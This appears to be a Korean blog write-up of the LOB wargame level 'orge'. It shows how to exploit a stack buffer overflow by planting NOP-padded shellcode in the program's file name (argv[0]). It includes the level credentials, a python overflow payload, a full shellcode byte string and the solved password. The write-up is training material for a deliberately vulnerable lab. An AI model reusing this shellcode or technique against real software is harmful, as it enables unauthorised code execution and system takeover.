cgy12306

[LOB] orge 본문

Wargame/LOB

[LOB] orge

cgy12306 2019. 7. 16. 22:17

ID : orge

PW : timewalker

 

파일을 확인해 보자.

darkelf에서는 인자를 여러개 넘길 수 있었지만 이제는 인자를 두개밖에 넘기지 못한다.

그러면 파일명(argv[0], 첫번째 인자)에 어떠한 작업을 해야할 듯 하다.

./파일명 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"

 

leave에 breakpoint를 걸고 실행해 보자.

버퍼와 인자를 비워주지만 파일명은 그대로 남아 있는 것을 볼 수 있다. 그러면 파일명을 쉘 코드로 바꿔주면 내부에서 쉘 코드가 실행될 것 같다.

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

를 포함하는 디렉토리를 생성해주고 앞뒤에 nop코드를 100개씩 넣어주자. 쉘코드에는 /(\x2f)가 들어가면 안된다고 한다.

 

저 경로를 이용해서 gdb를 실행해 보자.

다시 breakpoint를 leave에 걸어주고, "A"*44+"\xbf\xbf\xbf\xbf를 넣어주는 코드를 실행시켜보자.

 

코드가 잘 들어간 것을 볼 수 있다.

이제 ret에 넣어줄 주소를 보자.

쉘 코드가 들어간 부분이 보인다. 적당히 주소를 bffffb2c로 선택해서 코드를 작성하자.

쉘을 획득했다.

비밀번호는 aspirin이다.

'Wargame > LOB' 카테고리의 다른 글

[LOB] vampire  (0) 2019.07.19
[LOB] troll  (0) 2019.07.16
[LOB] darkelf  (0) 2019.07.15
[LOB] wolfman  (0) 2019.07.15
[LOB] orc  (0) 2019.07.15
Comments